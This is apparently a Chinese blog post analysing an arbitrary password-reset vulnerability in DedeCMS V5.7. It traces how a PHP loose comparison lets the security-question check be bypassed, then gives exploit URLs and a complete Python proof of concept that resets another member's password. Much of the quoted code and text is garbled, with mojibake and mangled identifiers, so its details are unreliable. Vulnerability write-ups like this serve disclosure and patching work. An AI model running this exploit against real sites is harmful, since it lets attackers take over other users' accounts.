### 描述

Dedecms是一款开源的PHP开源网站管理系统。

影响产品

DeDecms(织梦CMS) V5.7.72 正式版20180109 (最新版)

由于前台resetpassword.php中对接受的safeanswer参数类型比较不够严格,遭受弱类型比较攻击

#### 

```
漏洞触发位置
①文件位置:dedecms/member/resetpassword.php(75行)
else if($dopost == "safequestion")
  $mid = preg_replace("#[^0-9]#", "", $id);
  $$ql = "SELECT safequestion, safeanswer, userid, email FROM #@__member WHERE mid = '$mid'";
  $row = $db->GetOne($sql);
  if(empty($safequestion)) $safequestion = '';
  if(empty($safeanswer)) $safeanswer = '';
  if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
      sn($mid, $row['userid'], $row['email'], 'N');
      exit();
  }
  else
      exit();
   }
就是这里的判断出现了问题,因为使用了不够严谨的 == 进行了比较,导致if语句的条件为真,就会进入分支,进入sn函数
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
  sn($mid, $row['userid'], $row['email'], 'N');
  exit();
②文件位置:dedecms/member/inc/inc_pwd_functions.php(150行)
函数名称:function sn
function sn($mid,$userid,$mailto, $send = 'Y')
  global $db;
  $tptim= (60*10);
  $dtime = time();
  $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
  $row = $db->GetOne($sql);
  if(!is_array($row))
   {
      newmail($mid,$userid,$mailto,'INSERT',$send);
  //10
  elseif($dtime - $tptim > $row['mailtime'])
   {
```

newmail(\$mid,\$userid,\$mailto,'UPDATE',\$send);

```
}
         //
         else
                     return ShowMsg(' TTTTT 10 TTTTT 10 ', 'login.php');
          }
 }
在sn函数内部,会根据id到pwd_tmp表中判断是否存在对应的临时密码记录,根据结果确定分支,走向newmail函数
if(!is_array($row))
         {
                      //
                     newmail($mid,$userid,$mailto,'INSERT',$send);
         }
③文件位置:dedecms/member/inc/inc_pwd_functions.php(73行)
 函数名称:function newmail
 function newmail($mid, $userid, $mailto, $type, $send)
 {
         global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
         $mailtime = time();
         $randval = random(8);
         $mailtitle = $cfg_webname.": #####";
         $mailto = $mailto;
         $headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
         if($type == 'INSERT')
                     $key = md5($randval);
                     $$ql = "INSERT INTO `#@_pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtim
                     if($db->ExecuteNoneQuery($sql))
                                  if($send == 'Y')
                                              sendmail($mailto,$mailtitle,$mailbody,$headers);
                                             return ShowMsg('EMAIL THE TENDED TO THE TOTAL TO
                                  } else if ($send == 'N')
                                              }
                     }
                     else
                                  return ShowMsg('
         }
         elseif($type == 'UPDATE')
                     $key = md5($randval);
                     $$ql = "UPDATE `#@_pwd_tmp` SET `pwd` = '$key',mailtime = '$mailtime' WHERE `mid` ='$mid';";
                      if($db->ExecuteNoneOuerv($sql))
                                  if($send == 'Y')
                                              sendmail($mailto,$mailtitle,$mailbody,$headers);
                                              ShowMsg('EMAIL | EMAIL | ShowMsg('EMAIL | Email | Emai
                                  }
                                  elseif($send == 'N')
                                              return ShowMsg('| cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&
                      }
                     else
                                  ShowMsg('
          }
}
```

### 进入newmail函数后,会因为\$type的值进入这个分支

```
if($type == 'INSERT')
      $key = md5($randval);
     if($db->ExecuteNoneQuery($sql))
             if($send == 'Y')
                     sendmail($mailto,$mailtitle,$mailbody,$headers);
                     } else if ($send == 'N')
                     }
     else
      {
             return ShowMsg('
      }
然后因为($send == 'N')这个条件为真,通过ShowMsg打印出修改密码的连接,导致漏洞形成
else if ($send == 'N')
      return ShowMsg('| $\dagger \dagger \da
密码修改连接如下,点击后重新调到resetpassword.php这个页面
http://127.0.0.1/dedecms/member/resetpassword.php?dopost=getpasswd&id=9&key=dqg3OSQo
文件位置:dedecms/member/resetpassword.php(96行)
else if($dopost == "getpasswd")
      //
     if(empty($id))
             exit();
     }
     $mid = preg_replace("#[^0-9]#", "", $id);
     $row = $db->GetOne("SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'");
     if(empty($row))
             exit();
      }
     if(empty($setp))
      {
             $tptim= (60*60*24*3);
             $dtime = time();
             if($dtime - $tptim > $row['mailtime'])
                     $db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
                     ShowMsg("################","login.php");
                     exit();
             require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
     elseif(\$setp == 2)
      {
             if(isset($key)) $pwdtmp = $key;
             sn = md5(trim(pwdtmp));
             if(srow['pwd'] == ssn)
```

```
if($pwd == $pwdok)
               $pwdok = md5($pwdok);
               $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
               $db->executenonequery($sql);
               $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
               if($db->executenonequery($sql))
                   showmsg('
                   exit;
               }
            }
         }
         showmsg('|||||||||||||', '-1');
     exit;
  }
}
在pwd_tmp表中查询判断后,最后会跳入这个分支,判断是否超时,然后进入密码修改页面
if(empty($setp))
  $tptim= (60*60*24*3);
  $dtime = time();
  if($dtime - $tptim > $row['mailtime'])
  {
     $db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
     exit();
  }
  require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
然后会再次进入这个页面,不过因为setp等于2,会进入这个分支。完成member表的密码修改
elseif($setp == 2)
  if(isset($key)) $pwdtmp = $key;
  $sn = md5(trim($pwdtmp));
  if($row['pwd'] == $sn)
     if($pwd != "")
     {
         if($pwd == $pwdok)
            $pwdok = md5($pwdok);
            $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
            $db->executenonequery($sql);
            $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
            if($db->executenonequery($sql))
               showmsg('
               exit;
            }
         }
     exit;
  showmsg('||||||||||||||, '-1');
  exit;
}
```

if(\$pwd != "")

总结: DeDecms(织梦CMS) 密码修改处,因为安全问题验证的safeanswer参数类型比较不够严格,遭受弱类型比较攻击,可绕过判断同时修改时的id可控,导致了远程攻击者可以在前台会员中心绕过验证,进行任意用户密码重置攻击

漏洞攻击与利用

```
本地验证
分别注册两个账号
账号: test1
密码:test1
账号: test2
密码:test2
目的:我们使用test1账号去重置test2账号的密码
\verb|http://127.0.0.1/dedecms/member/resetpassword.php?dopost=safequestion \&safequestion=0.0 \&safeanswer= \&id=9 | leading to the property of th
①test1登录,并发送payload,此处可以id可以遍历,9是test2的id
②我们在代理工具中找到ShowMsg打印出修改密码的连接
③去掉多余字符后,访问修改密码的连接,进入修改页面
http://127.0.0.1/dedecms/member/resetpassword.php?dopost=getpasswd&id=9&key=dqg3OSQo
①test2密码修改成功,数据库对应hash也进行了更新(变成了123456的hash)
Poc
# coding=utf-8
import re
import requests
from bs4 import BeautifulSoup
if __name__ == "__main__":
     host = 'http://127.0.0.1/dedecms/'
     cookie = "PHPSESSID=hi7jm3fncr0q79du7tvu3bm406; DedeUserID=8; DedeUserID__ckMd5=7903ea0790a3690a; DedeLoginTime=1515641375;
      # IIIIIcookie
     num = 2
      # EXECUTE id
     headers = {'Cookie': cookie}
     rs = requests.get(host + '/member/index.php', headers=headers)
     if '/member/myfriend.php' in rs.text and '/member/pm.php' in rs.text:
             print '
      else:
             exit('||||||||||')
     payload_url1 = "{host}/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id={num}".format(
             host=host,
             num=num)
     rs = requests.get(payload_url1, headers=headers)
      if 'BBBB10BBBBBB'.decode('utf-8') in rs.text:
             searchObj = re.search(r'<a href=\'(.*?)\'>', rs.text, re.M | re.I)
     payload_url2 = searchObj.group(1)
     payload_url2 = payload_url2.replace('amp;', '')
     print 'Payload : ' + payload_url2
     rs = requests.get(payload_url2, headers=headers)
     soup = BeautifulSoup(rs.text, "html.parser")
     userid = soup.find_all(attrs={"name": "userid"})[0]['value']
     key = soup.find_all(attrs={"name": "key"})[0]['value']
     data = {'dopost': 'getpasswd', 'setp': 2, 'id': num, 'userid': userid, 'key': key, 'pwd': 666666, 'pwdok': 666666}
     rs = requests.post(host + "/member/resetpassword.php", data=data, headers=headers)
      print '######'.decode('utf-8')
```

print '==='.decode('utf-8') + userid
print '==='.decode('utf-8') + '666666'

print '######'.decode('utf-8')

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## 1. 1条回复



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动动手指,沙发就是我的了!

0 回复Ta

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